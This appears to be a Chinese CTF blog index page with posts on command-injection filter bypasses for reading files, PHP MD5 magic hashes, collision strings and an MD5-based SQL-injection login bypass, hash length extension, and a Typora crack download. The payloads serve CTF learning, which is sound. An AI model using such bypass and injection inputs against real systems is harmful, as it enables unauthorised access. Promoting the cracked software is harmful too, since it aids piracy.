首页
CTF
软件
干货
生活
避坑
关于
统计
Search
1
MD5扩展攻击
443 阅读
2
白嫖BackBlaze10G存储,无限流量的图床
356 阅读
3
Typora最新破解版
331 阅读
4
解决各文库不让复制的问题
282 阅读
5
MYSQL堆叠注入操作汇总
258 阅读
Search
标签搜索
mysql
python
MD5
rce
图床
HASH
哈希扩展攻击
md
markdown
typora
命令注入
堆叠注入
JavaScript
shell
cloudflare
微信小程序
CTF
include
反序列化
爬虫
Eson
累计撰写
19
篇文章
累计收到
4
条评论
首页
栏目
CTF
软件
干货
VulnHub
生活
避坑
页面
关于
统计
搜索到
19
篇与
的结果
2024-03-20
命令注入(RCE)中读取内容的各种操作
读取内容的命令正常的文件内容读取命令,我们一般都采用cat,这个大家都是比较熟悉的,但是在CTF题目里一般不会让你那么简单就得到flag的,所以会加一些过滤,咱们就来先看一看linux下读取文件内容的姿势到底有哪些吧!tactac是从最后一行开始网上读取文件内容,我们先来正常读取 test 这个文件的内容[root@localhost]# cat test aaaa bbbb cccc再来看一下tac命令读取的内容[root@localhost]# tac test cccc bbbb aaaamoremore,是linux的一个命令,类似cat命令,会以一页一页的显示,方便使用者逐页阅读,但是当内容过少的时候你感觉不出来它和cat有什么区别。[root@localhost]# more test aaaa bbbb cccclessless命令允许用户向前或向后浏览文件,而more命令只能向前浏览。和more一样,当文件内容过少的时候你也感觉不出它和cat有什么区别,但是当你在命令行输入的时候就不同了,命令行里会直接进入一个预览界面,而做CTF的时候是完全感觉不出来的。headhead就像它的名字一样的浅显易懂,它是用来显示开头某个数量的文字区块,可以使用参数指定显示开头多少行,但是读取flag不需要加参数,毕竟flag都只在第一行就显示了。[root@localhost]# head test aaaa bbbb cccctailtail和head简直一模一样,只不过它是用来显示尾部多少行的,虽然它还有一个功能是实时监控文件变化,但是跟咱们今天要研究的方向无关,这里不多测试了。[root@localhost]# tail test aaaa bbbb ccccnlnl的功能是带行号显示文件内容[root@localhost]# nl test 1 aaaa 2 bbbb 3 ccccrevrev 行的读取顺序不变,但是每一行都是倒序读取过来的,这里演示可能看不太明显。你能理解这句话的意思就行,然后配合python的[::-1]再反过来就可以了。[root@localhost]# rev test aaaa bbbb ccccodod :以二进制方式读取文件内容,往往配合参数使用。[root@localhost]# od -a -c -d test 0000000 a a a a nl b b b b nl c c c c nl a a a a \n b b b b \n c c c c \n 24929 24929 25098 25186 2658 25443 25443 10 0000017xxdxxd 以二进制方式读取文件内容,但是多数原生linux中不会自带这个工具,所以大概率用不上,这里不做演示了。sortsort 主要用于字符排序,可以利用它来查看文件内容,算是变相利用了。[root@localhost]# sort test aaaa bbbb ccccuniquniq 报告或删除文件中重复的行,也算是变相利用。[root@localhost]# uniq test aaaa bbbb ccccfile主要是利用 -f 来报错出文件内容,因为咱们的内容基本上都不是可执行的linux命令,所以使用file来读取的时候会出错,使用-f来显示报错内容,就可以达到查看文件内容的目的了。[root@localhost]# file -f test aaaa: cannot open (No such file or directory) bbbb: cannot open (No such file or directory) cccc: cannot open (No such file or directory)grep这也是个骚操作,先来看看基本利用,等下再来说正式的利用方法。[root@localhost]# grep aa test aaaa上面是在test这里文件里面查找aa字符,会把带有aa的一整行内容显示出来,那我们搜索flag文件里面的f不就得到想要的东西了么?[root@localhost]# grep f flag flag{123456}fmt一个功能很强大的命令,单纯的用它来显示flag有点屈才了[root@localhost]# fmt test aaaa bbbb cccc利用字符恢复cat[root@localhost]# c''at flag flag{123456} [root@localhost]# c$1at flag flag{123456} [root@localhost]# ca\t flag flag{123456}屏蔽了flag字符先来个骚操作,一套组合拳,利用inum读取内容[root@localhost]# ls -i 85 file100 73 flag 75 npc 74 test可以看到,我们想读取的flag的inum是73[root@localhost]# cat `find ./ -inum 73` flag{123456}然后就是常规操作,利用变量绕过关键字检测[root@localhost]# a=fl;b=ag;cat $a$b flag{123456}再来个利用base64编码绕过,Y2F0IGZsYWc=解码后是cat flag[root@localhost]# echo Y2F0IGZsYWc= | base64 -d | sh flag{123456}利用'绕过[root@localhost]# cat fl''ag flag{123456}利用\绕过[root@localhost]# cat fl\ag flag{123456}利用变量绕过[root@localhost]# cat fl$1ag flag{123456}利用十六进制绕过,这台电脑也没安装xxd,如果安装的话可以正常回显[root@localhost]# echo 63617420666c6167 | xxd -r -p | sh -bash: xxd: 未找到命令屏蔽了空格<绕过[root@localhost]# cat<flag flag{123456}$IFS$9绕过[root@localhost]# cat$IFS$9flag flag{123456}${IFS}绕过[root@localhost]# cat${IFS}flag flag{123456}
2024年03月20日
224 阅读
0 评论
2 点赞
2024-03-16
MD5与PHP的漏洞利用大全
MD5漏洞这么多年以来,MD5这个点在CTF里已经被玩坏了,反反复复就是那几个考点,但是如果作为入门考核的话好像又离不开这个点,更重要的是考察大家对PHP代码的解读能力,我已经把这个点可以搜集到的都搜集好了,整理在一起,方便大家复制。漏洞利用大全# md5 后都是0e开头 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020 # $md5 = md5($md5) 自身和md5后都是0e开头 0e215962017 0e291242476940776845150308577824 0e00275209979 0e551387587965716321018342879905 0e00506035745 0e224441551631909369101555335043 0e00540451811 0e057099852684304412663796608095 0e00678205148 0e934049274119262631743072394111 0e00741250258 0e899567782965109269932883593603 0e00928251504 0e148856674729228041723861799600 0e01350016114 0e769018222125751782256460324867 0e01352028862 0e388419153010508575572061606161 0e01392313004 0e793314107039222217518920037885 0e01875552079 0e780449305367629893512581736357 0e01975903983 0e317084484960342086618161584202 0e02042356163 0e335912055437180460060141819624 0e02218562930 0e151492820470888772364059321579 0e02451355147 0e866503534356013079241759641492 0e02739970294 0e894318228115677783240047043017 0e02760920150 0e413159393756646578537635311046 0e02784726287 0e433955189140949269100965859496 0e03298616350 0e851613188370453906408258609284 0e03393034171 0e077847024281996293485700020358 # $md5 = md5(md5($md5)) 0e1138100474 0e779212254407018184727546255414 # 特殊使用 第一组 s1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 s2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 # 特殊使用 第二组 M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 # 特殊使用 第三组 4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2 4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2 # 特殊使用 第四组 a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 # md5 与 mysql 经过md5的万能密码 ffifdyop 经过md5加密后:276f722736c95d99e921722cf9ed621c 再转换为字符串:'or'6<乱码> 即 'or'66 ] !r, b 这样的话,条件恒成立。 还有一个功能一样的:129581926211651571912466741651878684928ctfshow web9这个题多次尝试注入无果,扫描目录发现Index.phps,下载后得到代码:$flag=""; $password=$_POST['password']; if(strlen($password)>10){ die("password error"); } $sql="select * from user where username ='admin' and password ='".md5($password,true)."'"; $result=mysqli_query($con,$sql); if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ echo "登陆成功<br>"; echo $flag; } }刚好利用 ffifdyop 直接得到flag
2024年03月16日
178 阅读
0 评论
2 点赞
2024-03-15
Typora最新破解版
下载地址{cloud title="https://www.123pan.com/s/4JfUVv-yr58H.html" type="default" url="https://www.123pan.com/s/4JfUVv-yr58H.html" password=""/}安装压缩包解压之后会有三个文件:app.asar.txtkey.txttypora-setup-x64.exe我们双击 typora-setup-x64.exe进行安装破解安装完成之后,我们需要把 app.asar.txt 重命名为 app.asar,然后复制到我们安装好的目录下的 resources 目录下。输入序列号打开安装好的typora,点击输入序列号邮箱随便填写,但是要符合邮箱格式输入序列号,key.txt里面随便挑选一个就好
2024年03月15日
331 阅读
0 评论
4 点赞
2024-03-12
MD5扩展攻击
工具下载个人感觉hash-ext-attack比HashPump好用,并且支持库安装也比较方便,直接pip install -r requirements.txt就可以了,下载地址:https://pan.quark.cn/s/367f838460c4题目<?php error_reporting(0); $key = getKey(); $username = $_POST['username']; $data = $_POST['data']; $sign = $_COOKIE["sign"]; if (!empty($sign)) { if ($username === "jwt") { if ($sign === md5($key . $username . $data)) { if (strpos($data, 'sec')) { $flag = file_get_contents('/flag'); echo $flag; } else echo "数据似乎没有被恶意篡改,但服务器接收到的数据中不包含sec"; } else echo "检测到当前用户的数据被恶意篡改"; } else echo "看起来你并不是用户jwt"; } else echo "检测到sign为空, 可能需要刷新一下浏览器"; ?> 解题思路1、根据题目可知,$key."jwt"."data" 的md5是 5a18d02b1f8da8d5f70a4cba720dfafd ,并且key的长度是172、那么已知明文就是jwtdata,已知key长度就是17,已知md5就是 5a18d02b1f8da8d5f70a4cba720dfafd3、并且data数据要包含sec,那么使用工具开始攻击4、开始传参,这里有个需要注意的地方,因为$sign === md5($key . $username . $data) ,而username我们已经传参jwt,所以data传参的时候要把前面的jwt去掉
2024年03月12日
443 阅读
2 评论
2 点赞
1
2